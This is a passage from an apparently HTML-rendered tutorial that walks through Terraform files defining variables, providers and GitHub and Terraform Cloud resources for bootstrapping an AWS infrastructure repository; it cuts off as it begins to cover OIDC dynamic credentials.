\u003ccode\u003egithub\u003c/code\u003e, and\n\u003ccode\u003etfe\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eVariables\u003c/h3\u003e\n\u003cp\u003eCreate a \u003ccode\u003e1-variables.tf\u003c/code\u003e where we can define the variables we will need\nfor creating these resources.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_aws_audience\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"aws.workload.identity\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The audience value to use in run identity tokens\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_hostname\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"app.terraform.io\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The hostname of the TFC or TFE instance you'd like to use with AWS\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_project_name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Default Project\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The project under which a workspace will be created\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_organization_name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The name of your Terraform Cloud organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_organization_owner\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The owner of the TFC organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfc_workspaces\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003estring\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The list of TFC workspaces\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_organization\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The organization the repositories are owned by\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_repo_name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The name of the git repository we'll create for managing infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_default_branch\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The default branch to utilize\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e default\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"main\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws_root_account_id\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"The AWS root account we want to apply these changes to\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e type\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e string\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe will use these variables in the later modules but they are mostly metadata\naround the terraform and github accounts you will need to setup manually.\u003c/p\u003e\n\u003ch3\u003eProviders\u003c/h3\u003e\n\u003cp\u003eCreate a file called \u003ccode\u003e2-providers.tf\u003c/code\u003e and define the providers:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e required_providers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"0.41.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e source \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"integrations/github\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e version \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"5.18.3\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"aws\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e region\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # Root account, all other accounts should be provisioned\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # via pull requests\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e allowed_account_ids\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eaws_root_account_id]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e owner\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe key things there are we define \u003ccode\u003eallowed_account_ids\u003c/code\u003e to prevent us from\nworking against any account that is not the root and we are using one of the\nvariables we defines earlier.\u003c/p\u003e\n\u003ch3\u003eGithub\u003c/h3\u003e\n\u003cp\u003eWe will utilize \u003ccode\u003eterraform\u003c/code\u003e to create the second git repository where the rest\nof the infrastructure will go. Create a file called \u003ccode\u003e3-github.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_repository\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"repo\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e description\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Infrastructure Repository\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e visibility\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"private\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e auto_init\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e has_issues\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_branch_default\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"default\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github_repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e branch\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e var\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_default_branch\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_team\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"owners\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"owners\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_organization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_team_token\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_actions_token\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e team_id\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e data\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etfe_team\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eowners\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"github_actions_secret\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"tfe_secret\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github_repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e secret_name\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"TFE_TOKEN\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e plaintext_value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e tfe_team_token\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003egithub_actions_token\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etoken\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eoutput\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e \"repository_id\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e =\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e github_repository\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will generate a new repository in your account called \u003ccode\u003einfra\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eFor the terraform provider to have access to github you need to create a new\npersonal access token with full \u003ccode\u003erepo\u003c/code\u003e access and set it as an environment\nvariable named \u003ccode\u003eGITHUB_TOKEN\u003c/code\u003e.\u003c/p\u003e\n\u003ch3\u003eTerraform Cloud\u003c/h3\u003e\n\u003cp\u003eNow we need to setup dynamic credentials so the terraform cloud agent is\nallowed to take actions on your behalf. To do this we will setup an IAM\nrole and an OIDC provider. Create 